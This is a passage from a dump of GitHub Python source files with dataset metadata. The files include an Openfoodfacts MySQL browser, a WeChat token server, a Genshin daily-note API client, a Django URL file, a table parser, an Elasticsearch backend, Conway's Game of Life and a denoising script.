'N/A',\n 1: 'A',\n 2: 'B',\n 3: 'C',\n 4: 'D',\n 5: 'E'\n}\n\ndef print_products_page(category_id, page):\n \"\"\"\n Prints a given page of products for a given category\n \"\"\"\n number_of_rows = get_number_products(category_id)\n total_pages = get_number_pages(category_id)\n products = get_products_page(category_id, page)\n\n if len(products) == 0:\n print(\"Aucun résultat\")\n else:\n display_str = '\\nAffichage des résultats {} à {} sur {} (Page {} sur {}):'\n print(display_str.format((((page-1)*ROWS_PER_PAGE)+1),\n (((page-1)*ROWS_PER_PAGE)+len(products)),\n number_of_rows, page, total_pages))\n\n format_string = '{0:>3} |{1:<110}| {2}'\n print(format_string.format(\"Num\", \"Produit - Marque\", \"Lien Openfoodfacts\"))\n print('='*170)\n\n #~ Using enumerate to get index of the loop displayed as choice\n for index, product in enumerate(products, start=1):\n product_fullname = str(product[1])+\" - \"+str(product[2])\n print(format_string.format(index, product_fullname, product[4]))\n return\n\ndef get_products_page(category_id, page):\n \"\"\"\n Request products for a given category at the given page\n returns a list of products with the following information :\n product_id, product_name, product_brand, nutriscore,link_openfoodfacts\n \"\"\"\n conn = mysql.connector.connect(**CONNECTION_PARAMETERS)\n cursor = conn.cursor()\n\n offset = (page-1)*ROWS_PER_PAGE\n #~ Get results\n cursor.execute(\"\"\"SELECT product_id, product_name, product_brand,\n nutriscore,link_openfoodfacts FROM product WHERE category_id = %s\n ORDER BY product_id ASC\n LIMIT %s OFFSET %s\"\"\", (category_id, ROWS_PER_PAGE, offset))\n rows = cursor.fetchall()\n conn.close()\n return rows\n\ndef get_number_products(category_id):\n \"\"\"\n Request all products for a given category from the database\n and returns number of rows\n \"\"\"\n conn = mysql.connector.connect(**CONNECTION_PARAMETERS)\n cursor = conn.cursor()\n #~ Get total number of rows\n cursor.execute(\"SELECT COUNT(*) from product where category_id = %s\", (category_id,))\n (number_of_rows,) = cursor.fetchone()\n conn.close()\n return number_of_rows\n\ndef get_number_pages(category_id):\n \"\"\"\n Gets the number of rows for a product and return number of pages with const ROW_PER_PAGE\n \"\"\"\n return int(math.ceil(get_number_products(category_id) / ROWS_PER_PAGE))\n\ndef str_categories():\n \"\"\"\n Returns string with categories formatted\n \"\"\"\n str_cat = ''\n for category in get_categories():\n str_cat += ('{0:02} | {1:30} | {2}\\n'.format(category[0], category[1], category[2]))\n return str_cat\n\ndef get_categories():\n \"\"\"\n Request categories from the database and returns a list of categories\n \"\"\"\n conn = mysql.connector.connect(**CONNECTION_PARAMETERS)\n cursor = conn.cursor()\n\n #~ Display all available categories from the database\n cursor.execute(\"\"\"SELECT * FROM category\"\"\")\n categories = cursor.fetchall()\n conn.close()\n return categories\n\ndef get_category_url(category_id):\n \"\"\"\n Request url from the database for a given category\n \"\"\"\n conn = mysql.connector.connect(**CONNECTION_PARAMETERS)\n cursor = conn.cursor()\n cursor.execute(\"\"\"SELECT link_openfoodfacts FROM category WHERE category_id = %s\"\"\",\n (category_id,))\n (url,) = cursor.fetchone()\n conn.close()\n return url\n\ndef request_json(category_id):\n \"\"\"\n This function requests json of products on openfoodfacts for a given category\n and returns a list of data\n \"\"\"\n url_category = get_category_url(category_id)\n json_categorie = requests.get(url_category+\"1.json\").json()\n\n #~ Number of pages calculated with count of products / product displayed per page\n nb_pages = int(math.ceil(json_categorie[\"count\"] / json_categorie[\"page_size\"]))\n\n data = []\n current_product = 0\n\n for page in range(0, nb_pages):\n json_categorie = requests.get(url_category+str(page+1)+\".json\").json()\n\n #~ print(\"-Requesting products of page \"+str(page+1)+\" out of \"+str(nb_pages))\n #~ print_progress(page+1, nb_pages, decimals = 0)\n for product in json_categorie[\"products\"]:\n print_progress(current_product, json_categorie[\"count\"], decimals=0)\n try:\n str_nutr_grade = product[\"nutrition_grade_fr\"]\n nutriscore = list(NUTRISCORE.keys())[\n list(NUTRISCORE.values()).index(str_nutr_grade.upper())]\n except KeyError:\n str_nutr_grade = \"N/A\"\n nutriscore = 0\n try:\n if product[\"stores\"] == \"\":\n stores = None\n else:\n stores = product[\"stores\"]\n except KeyError:\n stores = None\n\n try:\n desc = product[\"generic_name\"]\n except KeyError:\n desc = \"\"\n try:\n desc = product[\"ingredients_text\"]\n except KeyError:\n desc = \"\"\n\n\n link = \"https://fr.openfoodfacts.org/produit/\"+str(product[\"code\"])\n\n data.append((\n product[\"product_name\"],\n category_id,\n nutriscore,\n desc,\n stores,\n link,\n False,\n product[\"brands\"]\n ))\n\n current_product += 1\n return data\n\ndef insert_db(category_id):\n \"\"\"\n Inserts into database the result of json query of the openfoodfacts site\n \"\"\"\n data = request_json(category_id)\n\n conn = mysql.connector.connect(**CONNECTION_PARAMETERS)\n cursor = conn.cursor()\n\n stmt = \"\"\"INSERT INTO product (product_name, category_id, nutriscore, description, store,\n link_openfoodfacts, saved, product_brand)\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\"\"\"\n cursor.executemany(stmt, data)\n print(\"Lignes correctement insérées\")\n conn.commit()\n cursor.close()\n conn.close()\n\ndef get_product(category_id, page, index):\n \"\"\"\n Request a single product for a given category at the given page\n returns a list with the following information :\n product_id, product_name, category_id, product_brand, nutriscore, description,\n store, link_openfoodfacts, saved\n \"\"\"\n conn = mysql.connector.connect(**CONNECTION_PARAMETERS)\n cursor = conn.cursor()\n\n #~ Get results\n cursor.execute(\"\"\"SELECT * FROM product WHERE category_id = %s\n ORDER BY product_id ASC\n LIMIT 1 OFFSET %s\"\"\", (category_id, (index-1+(page-1)*ROWS_PER_PAGE)))\n row = cursor.fetchone()\n\n conn.close()\n return row\n\ndef get_best_score_category(category_id):\n \"\"\"\n Returns the best available nutriscore for a given category\n \"\"\"\n conn = mysql.connector.connect(**CONNECTION_PARAMETERS)\n cursor = conn.cursor()\n cursor.execute(\"\"\"SELECT MIN(nutriscore) FROM product\n WHERE category_id = %s AND nutriscore != 0 \"\"\", (category_id,))\n row = cursor.fetchone()\n conn.close()\n return row[0]\n\ndef get_alternative(product_id):\n \"\"\"\n Request a single product with a nutriscore better than the given one\n returns a list with the following information :\n product_id, product_name, category_id, product_brand, nutriscore, description,\n store, link_openfoodfacts, saved\n returns None if no alternative available\n \"\"\"\n conn = mysql.connector.connect(**CONNECTION_PARAMETERS)\n cursor = conn.cursor()\n cursor.execute(\"\"\"SELECT nutriscore, category_id FROM product\n WHERE product_id = %s \"\"\", (product_id,))\n row = cursor.fetchone()\n category_id = row[1]\n best_score = get_best_score_category(category_id)\n\n #~ Try to get a better product with a store\n cursor.execute(\"\"\"SELECT * FROM product\n WHERE nutriscore = %s\n AND category_id = %s\n AND product_id != %s\n AND store IS NOT NULL\n ORDER BY product_id ASC\n LIMIT 1\"\"\",\n (best_score, category_id, product_id))\n result = cursor.fetchone()\n #~ if no result, get a product without a store:\n if not result:\n cursor.execute(\"\"\"SELECT * FROM product\n WHERE nutriscore = %s\n AND category_id = %s\n AND product_id != %s\n ORDER BY product_id ASC\n LIMIT 1\"\"\",\n (best_score, category_id, product_id))\n result = cursor.fetchone()\n conn.close()\n\n return result\n\ndef get_saved_products():\n \"\"\"\n Request saved products from the database and returns a list of products\n \"\"\"\n conn = mysql.connector.connect(**CONNECTION_PARAMETERS)\n cursor = conn.cursor()\n cursor.execute(\"\"\"SELECT category_name, product_name, product_brand, nutriscore,\n product.link_openfoodfacts, store\n FROM product INNER JOIN category\n ON category.category_id = product.category_id\n WHERE saved = true\n ORDER BY category.category_id\"\"\")\n saved_products = cursor.fetchall()\n conn.close()\n return saved_products\n\ndef get_str_saved():\n \"\"\"\n Returns string with all saved products formatted\n \"\"\"\n format_string = '{0:30} | {1:60} | {2:^10} | {3:50} | {4} \\n'\n res = format_string.format('Catégorie', 'Produit - Marque', 'Nutriscore', 'Lien', 'Magasin')\n res += '='*170\n res += '\\n'\n for product in get_saved_products():\n\n if not product[5]:\n store = \"Information non disponible\"\n else:\n store = product[5]\n\n res += (format_string.format(product[0], product[1]+' - '+product[2],\n NUTRISCORE[product[3]], product[4], store))\n return res\n\ndef save_product(product_id):\n \"\"\"\n Change saved column on table product in database for given product_id\n \"\"\"\n conn = mysql.connector.connect(**CONNECTION_PARAMETERS)\n cursor = conn.cursor()\n cursor.execute(\"\"\"UPDATE product\n SET saved = TRUE\n WHERE product_id = %s \"\"\",\n (product_id,))\n conn.commit()\n conn.close()\n return\n\ndef clear_products():\n \"\"\"\n Clears the database of all products. Used for maintenance only.\n \"\"\"\n conn = mysql.connector.connect(**CONNECTION_PARAMETERS)\n cursor = conn.cursor()\n print(\"Clearing table product\")\n try:\n cursor.execute(\"\"\"TRUNCATE TABLE product\"\"\")\n cursor.execute(\"\"\"ALTER TABLE product AUTO_INCREMENT = 1\"\"\")\n except mysql.connector.Error as err:\n print(\"Failed clearing table: {}\".format(err))\n\n conn.commit()\n conn.close()\n print(\"Table cleared\")\n\ndef print_progress(iteration, total, prefix='', suffix='', decimals=1, bar_length=100):\n \"\"\"\n Call in a loop to create terminal progress bar\n @params:\n iteration - Required : current iteration (Int)\n total - Required : total iterations (Int)\n prefix - Optional : prefix string (Str)\n suffix - Optional : suffix string (Str)\n decimals - Optional : positive number of decimals in percent complete (Int)\n bar_length - Optional : character length of bar (Int)\n \"\"\"\n str_format = \"{0:.\" + str(decimals) + \"f}\"\n percents = str_format.format(100 * (iteration / float(total)))\n filled_length = int(round(bar_length * iteration / float(total)))\n progress_bar = '█' * filled_length + '-' * (bar_length - filled_length)\n\n sys.stdout.write('\\r%s |%s| %s%s %s' % (prefix, progress_bar, percents, '%', suffix)),\n\n if iteration == total:\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n","repo_name":"Cocomows/P5-Openfoodfacts","sub_path":"bdd.py","file_name":"bdd.py","file_ext":"py","file_size_in_byte":12501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27692567115","text":"#!/bin/python\n# -*- coding: utf-8 -*-\n# filename: basic.py\n\nfrom urllib import request\nimport time\nimport json\nimport os\n\n\nscript_dir = os.path.split(os.path.realpath(__file__))[0] \n\nclass TokenServer: \n def __init__(self): \n self.__accessToken = '' \n self.__leftTime = 0 \n\n def __real_get_access_token(self): \n appId = \"TODO\" \n appSecret = \"TODO\"\n postUrl = (\"https://api.weixin.qq.com/cgi-bin/token?grant_type=\"\n \"client_credential&appid=%s&secret=%s\" % (appId, appSecret)) \n urlResp = request.urlopen(postUrl) \n urlResp = json.loads(urlResp.read()) \n print(urlResp)\n self.__accessToken = urlResp['access_token'] \n self.__leftTime = urlResp['expires_in'] \n tokenFile = open(script_dir + '/token', 'w')\n tokenFile.write(self.__accessToken)\n tokenFile.close()\n print(self.__accessToken)\n print(self.__leftTime)\n\n def get_access_token(self): \n if self.__leftTime < 10: \n self.__real_get_access_token() \n return self.__accessToken \n\n def run(self): \n while(True): \n if self.__leftTime > 120: \n time.sleep(120) \n self.__leftTime -= 120 \n else: \n self.__real_get_access_token()\n\n\nserver = TokenServer()\nserver.run()\n","repo_name":"extendswind/python_tool_code","sub_path":"wechat_offical_account/token_server/tokenServer.py","file_name":"tokenServer.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40186229071","text":"\"\"\"\nThanks to y1ndan's genshin-checkin-helper(https://gitlab.com/y1ndan/genshin-checkin-helper), GPLv3 License.\n\"\"\"\nimport hashlib\nimport json\nimport random\nimport time\nimport uuid\nfrom abc import ABC, abstractmethod\nfrom pathlib import Path\nfrom typing import Optional\nfrom urllib.parse import urlencode\n\nimport pydantic\n\nfrom ..config import config\nfrom ..locale import _\nfrom ..utils import log\nfrom .model import BaseData\nfrom .parse_info import parse_info\nfrom .utils import (\n cookie_to_dict,\n extract_subset_of_dict,\n hash_string,\n nested_lookup,\n request,\n)\n\n\nclass Client(ABC):\n class Response(pydantic.BaseModel):\n retcode: int\n message: str\n data: Optional[dict]\n\n def __init__(self, cookie: str = None):\n self.daily_note_api = None\n self.roles_api = None\n self.cookie = cookie_to_dict(cookie)\n self.cookie_hash = hash_string(json.dumps(self.cookie, sort_keys=True))\n self.headers = None\n self.client_type = None\n self.required_keys = {'region', 'game_uid', 'nickname', 'region_name'}\n self.proxies = None\n device_id = config.DEVICE_INFO.get('device_id')\n self.device_id = (\n device_id\n if device_id\n else str(\n uuid.uuid3(uuid.NAMESPACE_URL, uuid.UUID(int=uuid.getnode()).hex[-12:])\n )\n )\n self.headers = self.get_headers()\n self.roles_cache_file = (\n Path(__file__).parent.parent / 'config' / '.roles_info.cache'\n )\n self.cache_expire_time = 3 * 24 * 60 * 60\n\n def load_roles_info_cache(self):\n if self.roles_cache_file.exists():\n try:\n with self.roles_cache_file.open('r') as f:\n all_cache_data = json.load(f)\n\n if all_cache_data:\n cache_data = all_cache_data.get(self.cookie_hash, {})\n last_update_time = cache_data.get('last_update_time', 0)\n roles_list = cache_data.get('roles_list', None)\n\n if (\n time.time() - last_update_time < self.cache_expire_time\n and roles_list\n ):\n return roles_list\n\n self.cleanup_cache(all_cache_data)\n\n except Exception as e:\n log.error(f\"Could not load roles info from cache file: {e}\")\n\n return None\n\n def cleanup_cache(self, all_cache_data):\n updated_cache_data = {}\n current_time = time.time()\n for k, v in all_cache_data.items():\n if current_time - v.get('last_update_time', 0) <= self.cache_expire_time:\n updated_cache_data[k] = v\n\n with self.roles_cache_file.open('w') as f:\n json.dump(updated_cache_data, f)\n\n def fetch_roles_info(self):\n try:\n response = request(\n 'get',\n self.roles_api,\n headers=self.headers,\n cookies=self.cookie,\n proxies=self.proxies,\n ).json()\n except Exception as e:\n log.error(e)\n return e\n\n if response.get('retcode') == 0:\n roles_list = self.parse_roles_info(response)\n cache_data = {'roles_list': roles_list, 'last_update_time': time.time()}\n all_cache_data = {}\n\n if self.roles_cache_file.exists():\n try:\n with self.roles_cache_file.open('r') as f:\n all_cache_data = json.load(f)\n except Exception as e:\n log.error(f\"Could not load roles info from cache file: {e}\")\n\n all_cache_data[self.cookie_hash] = cache_data\n\n try:\n with self.roles_cache_file.open('w') as f:\n json.dump(all_cache_data, f)\n except Exception as e:\n log.error(f\"Could not write roles info to cache file: {e}\")\n return roles_list\n else:\n message = response.get('message')\n log.error(message)\n return message\n\n @abstractmethod\n def get_roles_info(self):\n roles_list = self.load_roles_info_cache()\n\n if roles_list:\n log.info(_('从缓存文件中获取角色信息'))\n return roles_list\n else:\n log.info(_('正在从服务器获取角色信息'))\n return self.fetch_roles_info()\n\n def parse_roles_info(self, response):\n roles = nested_lookup(response, 'list', fetch_first=True)\n roles_list = [extract_subset_of_dict(i, self.required_keys) for i in roles]\n return roles_list\n\n @abstractmethod\n def get_daily_note_info(self, role):\n data = None\n body = {'role_id': role['game_uid'], 'server': role['region']}\n try:\n r = request(\n 'get',\n self.daily_note_api,\n headers=self.get_headers(params=body, ds=True),\n params=body,\n cookies=self.cookie,\n proxies=self.proxies,\n )\n response = self.Response.parse_obj(r.json())\n except Exception as e:\n log.error(_('获取数据失败!'))\n log.error(e)\n message = e\n retcode = 999\n else:\n retcode = response.retcode\n if retcode == 0:\n data = BaseData.parse_obj(response.data)\n result = parse_info(data, role, mode='standard')\n message = \"\\n\".join(result)\n else:\n if retcode == 10102:\n message = _('未开启实时便笺!')\n elif retcode == 1034:\n message = _('账号异常!请登录米游社APP进行验证。')\n else:\n message = f'Retcode: {retcode}\\nMessage: {response.message}'\n log.error(message)\n\n return {\n 'status': True if retcode == 0 else False,\n 'retcode': retcode,\n 'data': data,\n 'message': message,\n }\n\n def get_headers(\n self,\n params: dict = None,\n body: dict = None,\n ds: bool = False,\n ) -> dict:\n headers = self._get_headers()\n if ds:\n ds = self.get_ds(params, body)\n headers.update({'DS': ds, 'x-rpc-device_id': self.device_id.upper()})\n return headers\n\n def get_ds(self, params, body: dict) -> str:\n t = str(int(time.time()))\n r = str(random.randint(100000, 200000))\n b = json.dumps(body) if body else ''\n q = urlencode(params) if params else ''\n salt = self._get_ds_salt()\n text = f'salt={salt}&t={t}&r={r}&b={b}&q={q}'\n md5 = hashlib.md5()\n md5.update(text.encode())\n c = md5.hexdigest()\n return f'{t},{r},{c}'\n\n @abstractmethod\n def _get_ds_salt(self) -> str:\n pass\n\n @abstractmethod\n def _get_headers(self) -> dict:\n pass\n","repo_name":"Xm798/Genshin-Dailynote-Reminder","sub_path":"dailynotereminder/getinfo/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":7054,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"24459399499","text":"from django.urls import path\n\nfrom accounts.api import views\n\napp_name = 'accounts'\nurlpatterns = [\n # path('/', views.EventDetailAPIView.as_view(), name='detail'),\n path('register/', views.RegisterAPIView.as_view(), name='register'),\n path('', views.LoginAPIView.as_view(), name='login'),\n]\n","repo_name":"fleepgeek/event-manager-server","sub_path":"src/accounts/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71805040515","text":"\"\"\"A line should be first checking if it should remove side\nseparators, then finding separators nearest to the ones line setup\ndictates.\n\"\"\"\n\nfrom itertools import izip_longest\n\nclass Line(object):\n \"\"\"Just a line aware of it's header, it is able to merge\n \"\"\"\n\n def __init__(self, string, linum=-1, filename=\"\", force_edges=(None,None), separator='|', separators=None):\n \"\"\"Try to use head to parse string into cells of a row and\n then put them into _row which you can retrieve form\n to_list. If head is None then we read solely based on the\n string provided. You can provide your own separator and the\n number (the line number is only used for debug messages).\n\n Force_lead and force trail configure wether the line has a\n beginning and ending separator. If None the line tries to\n figure them out. It fails if there is no leading separator and\n the line is a continuation so in that case these must be set.\n \"\"\"\n # No processing\n self._line = linum\n self._filename = filename\n self._sep_lead,self._sep_trail = force_edges\n self._separator = separator\n\n # First remove side separators if needed\n self._string = self._strip_edge_separators(string, self._sep_lead, self._sep_trail)\n\n # See if line has any content\n if self._separator not in self._string:\n if separators is not None:\n cell_num = len(separators)+1\n else:\n cell_num = 1\n\n self._row = ['']*cell_num\n return\n\n # Do the heavy lifting\n self._row = self.split_cells(self._string, separators)\n\n def _strip_edge_separators(self, string, lead=None, trail=None):\n \"\"\"If after any leadingor trailing spaces there are separators\n remove both spaces and separators\"\"\"\n if not string.rstrip():\n return \"\"\n\n # if we are sould choose or if we are forced\n if (string.rstrip()[-1] == self._separator and trail is None) or trail == True:\n string = string.rstrip()[:-1]\n self._sep_trail = True\n else:\n self._sep_trail = False\n\n # If we are to choose choose or if we are forced\n if (string.strip()[0] == self._separator and lead is None) or lead == True:\n string = string.strip()[1:]\n self._sep_lead = True\n else:\n self._sep_lead = False\n\n return string\n\n def split_cells(self, string, separators):\n \"\"\"Split cells froma a string intelligently, see where the\n separators should be and split as close as possible to that\n \"\"\"\n if separators is None:\n return string.split(self._separator)\n\n for s in separators:\n # Clamp to string length\n s = len(string)-1 if s >= len(string) else s\n\n # Search outwards from s and null-separate the parts\n pin = found = False\n for bc,fc in izip_longest(range(s,0,-1), range(s, len(string))):\n if fc is not None:\n if string[fc] == self._separator:\n string = string[:fc] + '\\x00' + string[fc+1:]\n found = True\n break\n elif string[fc] == '\\x00':\n # This means that we have something like this\n # |xx|xx|xx|xx|\n # |xxxxxxxxxxxxxxx|xx|xx|xx|xx|\n # The separators are deected left-to-right so\n # if we have detected one to the right, there\n # is no way we are finding one to the left\n pin = True\n\n if bc is not None and not pin:\n if string[bc] == self._separator:\n string = string[:bc] + '\\x00' + string[fc+1:]\n found = True\n break\n elif string[bc] == '\\x00':\n # Dont move past a previouly marked separator\n pin = True\n\n if not found:\n raise ValueError(\"Unable to determine cells correctly in %s:%d\" % (self._filename, self._line))\n\n # String is now NULL-terminated on the valid separators\n return string.split('\\x00')\n\n @property\n def edge_separators(self):\n \"\"\"A touple of bools lead,trail on wether we omited a\n leading/trailing separator\"\"\"\n return self._sep_lead, self._sep_trail\n\n def clean_spaces(self, s):\n \"\"\"Remove spaces from string in the front and back\"\"\"\n return s.strip()\n\n def merge(self, line_list, join_char = \"\\n\"):\n \"\"\"Merge the list of lines with this line. Join cells with provided character.\"\"\"\n for l in line_list:\n if len(l) != len(self._row):\n raise Exception(\"Unmatched number fo cells while merging lines.\")\n\n def smart_concat(x, y):\n if not x:\n return y\n if not y:\n return x\n return x.rstrip()+join_char+y.lstrip()\n\n self._row = map(smart_concat, self._row, l._row)\n\n def empty_line(self):\n \"\"\"All cells are empty. most probably a separator or an empty\n line or later maybe a comment\"\"\"\n for i in self._row:\n if i != \"\":\n return False\n return True\n\n def standalone(self):\n \"\"\"A standalone row is a row that is not the continuation of\n it's above and that is if it's first field is empty. Note that\n that includes lines that are completely empty and invalid\n lines (that are converted to completely empty.\"\"\"\n return bool(self._row[0].strip().rstrip())\n\n def __len__(self):\n return len(self._row)\n\n def __repr__(self):\n return str(self._row)\n\n @property\n def to_list(self):\n \"\"\"After a row is created and merged the above functions are\n of no use yet we may need to access slices etc. For now the\n solution is to turn it into a list. Later, we mayn need to be\n able to recosntruct the table, so I will implement the rest\n then.\"\"\"\n return self._row\n\n def __nonzero__(self):\n \"\"\"The bool conversion\"\"\"\n for i in self._row:\n if i != '':\n return True\n return False\n\n @property\n def separator_positions(self):\n \"\"\"Return the positions that we found the separators\"\"\"\n sum = 0\n ret = []\n for c in self._row:\n sum += len(c)\n ret.append(sum)\n sum += 1\n return ret[:-1]\n","repo_name":"avgerin0s/Pyrametros","sub_path":"pyrametros/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":6736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42183535246","text":"from haystack.backends.elasticsearch_backend import ElasticsearchSearchBackend, ElasticsearchSearchEngine\n # FIELD_MAPPINGS\n\n# FIELD_MAPPINGS['ngram'] = {'type': 'string', 'index_analyzer': 'str_index_analyzer',\n# 'search_analyzer': 'str_search_analyzer'}\n#\n\nclass CustomElasticsearchBackend(ElasticsearchSearchBackend):\n def __init__(self, connection_alias, **connection_options):\n self.DEFAULT_SETTINGS['settings']['analysis']['analyzer']['str_search_analyzer'] = {\n 'tokenizer': 'whitespace',\n 'filter': ['lowercase']\n }\n\n self.DEFAULT_SETTINGS['settings']['analysis']['analyzer']['str_index_analyzer'] = {\n 'tokenizer': 'keyword',\n 'filter': ['lowercase', 'substring']\n }\n\n self.DEFAULT_SETTINGS['settings']['analysis']['filter']['substring'] = {\n 'type': 'nGram',\n 'min_gram': 3,\n 'max_gram': 20\n }\n super(CustomElasticsearchBackend, self).__init__(connection_alias, **connection_options)\n\n\nclass CustomElasticsearchSearchEngine(ElasticsearchSearchEngine):\n backend = CustomElasticsearchBackend","repo_name":"vaad2/vest2","sub_path":"common/elastic/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4602919838","text":"'''Conway's Game of Life\r\nImplemented by Ashley Stewart (22-05-2018)\r\n\r\na.stewart.au@gmail.com\r\nQueensland University of Technology\r\n\r\nThis module contains several functions to demonstrate and run John Conway's Game\r\nof Life. Read more: https://en.wikipedia.org/wiki/Conway_game\r\n\r\nusage: python conway.py [-h] [-dims width height] [-timer [seconds]]\r\n\r\noptional arguments:\r\n -h, --help show this help message and exit\r\n -dims width height, -size width height\r\n the size of the life grid\r\n -timer [seconds], -t [seconds]\r\n indicates whether a timer should be used and the time\r\n between generations (default 0.5s)\r\n\r\n'''\r\n\r\nimport numpy as np\r\nfrom scipy.signal import convolve2d\r\n\r\ndef build_life_grid(width, height, random_life=True):\r\n '''Build a life grid according using the given dimensions'''\r\n return np.array(\r\n np.random.random((height, width))*2 if random_life\r\n else np.zeros((height, width)),\r\n dtype = np.int\r\n )\r\n\r\ndef conway(cells):\r\n '''Progress the cells in Conway's Game of Life by one generation.\r\n\r\n Rules:\r\n 1. Any live cell with fewer than two live neighbors dies, as if by \r\n underpopulation\r\n 2. Any live cell with two or three live neighbors lives on to the next\r\n generation\r\n 3. Any live cell with more than three live neighbors dies, as if by\r\n overpopulation\r\n 4. Any dead cell with exactly three live neighbors becomes a live cell, as\r\n if by reproduction\r\n\r\n Parameters\r\n ----------\r\n cells : np.ndarray\r\n a 2D array of cells of (1, 0) where 1 represents a living cell and 0\r\n represents a dead cell\r\n\r\n '''\r\n \r\n # kernal used to count cell neighbors\r\n kernel = np.ones((3, 3)); kernel[1][1] = 0\r\n \r\n # count cell neighbors\r\n n_neighbors = np.array(\r\n convolve2d(cells, kernel, mode='same'),\r\n dtype=np.int\r\n )\r\n\r\n # underpopulated cells die\r\n cells[n_neighbors < 2] = 0\r\n\r\n # overpopulated cells die\r\n cells[n_neighbors > 3] = 0\r\n\r\n # three neighbors reproduce\r\n cells[n_neighbors == 3] = 1\r\n\r\ndef display_conway(cells):\r\n '''Displays the given 2D grid of cells as block characters and spaces'''\r\n \r\n for row in cells:\r\n for cell in row:\r\n if cell:\r\n print('\\u2588', end='')\r\n else:\r\n print(' ', end='')\r\n print()\r\n\r\ndef play_conway(cells, timer=None):\r\n '''Runs the game of life\r\n\r\n Parameters\r\n ----------\r\n cells : np.ndarray\r\n a 2D array of cells of (1, 0) where 1 represents a living cell and 0\r\n represents a dead cell\r\n timer : non-zero positive number\r\n if None, no timer will be used; the user presses RETURN to continue\r\n if a \r\n '''\r\n \r\n # setup the action to occur between generations\r\n if timer:\r\n from time import sleep\r\n time_action = lambda: sleep(float(timer))\r\n else:\r\n time_action = lambda: input(\"Press ENTER to continue\\n\")\r\n\r\n # enable screen clearing for Windows and UNIX-like systems\r\n from os import system, name\r\n clear = lambda: system('cls' if name=='nt' else 'clear')\r\n\r\n # run life\r\n while True:\r\n try:\r\n clear()\r\n display_conway(cells)\r\n print(\"Press CTRL+C to quit\")\r\n time_action()\r\n conway(cells)\r\n except KeyboardInterrupt:\r\n clear()\r\n display_conway(cells)\r\n print(\"Exiting\")\r\n break\r\n \r\nif __name__ == '__main__':\r\n def positive_int(x):\r\n '''Positive-integer only type'''\r\n x = int(x)\r\n if x <= 0:\r\n raise argparse.ArgumentTypeError(\"Minimum positive integer is 1\")\r\n return x\r\n\r\n def positive_nonzero_float(x):\r\n '''Positive-float only type'''\r\n x = float(x)\r\n if x <= 0: raise argparse.ArgumentTypeError(\"Must be > 0\")\r\n return x\r\n\r\n # parse command-line arguments\r\n import argparse\r\n parser = argparse.ArgumentParser('python conway.py')\r\n \r\n parser.add_argument(\r\n '-dims', '-size',\r\n nargs=2,\r\n metavar=('width', 'height'),\r\n default=(30, 30),\r\n dest='size',\r\n type=positive_int,\r\n help='the size of the life grid'\r\n )\r\n parser.add_argument(\r\n '-timer', '-t',\r\n nargs='?',\r\n metavar='seconds',\r\n const=0.5,\r\n default=None,\r\n dest='timer',\r\n type=positive_nonzero_float,\r\n help='indicates whether a timer should be used and the time between ' \\\r\n 'generations (default 0.5s)'\r\n )\r\n\r\n args = parser.parse_args()\r\n\r\n # start life\r\n play_conway(build_life_grid(*args.size), args.timer)\r\n","repo_name":"astewartau/conway","sub_path":"conway.py","file_name":"conway.py","file_ext":"py","file_size_in_byte":4843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3208119862","text":"import torch\nfrom torch import nn\n\na = [[1,2,3], [1,2,6]]\nb = [[3], [5]]\n\na = torch.tensor(a)\nb = torch.tensor(b)\n\nans = torch.divide(a, b)\nprint(ans)\n\nx = 215235\n\nt = nn.ReLU()","repo_name":"foreverxujiahuan/algorithm","sub_path":"机器学习/torch_demo.py","file_name":"torch_demo.py","file_ext":"py","file_size_in_byte":177,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"14151214648","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 2 14:09:25 2018\n@author: juliette rengot\n\"\"\"\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\nfrom pycobra.cobra import Cobra\nfrom pycobra.diagnostics import Diagnostics\nfrom pycobra.visualisation import Visualisation\n\nimport noise\nimport denoise\nimport evaluation\n\n\ndef list_neighbours(I,x,y,patch_size):\n \"\"\"\n INPUT\n I : image\n x,y : coordinates of the central pixel of the consider patch\n k : patch of size (2*k+1)(2*k+1)\n \n OUPUT\n L : list of I(x',y') where (x',y') is a pixel of the patch\n \"\"\"\n assert(0<=x-patch_size)\n assert(x+patch_size (2*k+1)(2*k+1) features\n \n OUTPUT\n Xtrain : list of pixel of noisy images\n Xtrain1 : list of pixel of noisy images + gaussian noise\n Xtrain2 : list of pixel of noisy images - gaussian noise\n Ytrain : list of pixel of original images\n \"\"\"\n Xtrain = []\n Xtrain1 = []\n Xtrain2 = []\n Ytrain = []\n for file in os.listdir(path):\n noise_class = noise.noisyImage(path, file, 0, 0.5, 0.1, 0.2, 0.3, 5, 10)\n noise_class.multi_noise()\n for i in noise_kind:\n Ytrain += [[noise_class.Ioriginal[x, y]] for x in range(k,noise_class.shape[0]-k) for y in range(k,noise_class.shape[1]-k)]\n Inoisy = noise_class.Ilist[i]\n \n sigma = 0.1 # gaussian noise\n eps = np.random.normal(0, sigma, noise_class.shape)\n y1 = Inoisy + sigma * eps\n y1 = (y1-y1.min())/(y1.max()-y1.min())\n y2 = Inoisy - sigma * eps\n y2 = (y2-y2.min())/(y2.max()-y2.min())\n \n Xtrain += [list_neighbours(Inoisy, x, y, k) for x in range(k,noise_class.shape[0]-k) for y in range(k,noise_class.shape[1]-k)]\n Xtrain1 += [list_neighbours(y1, x, y, 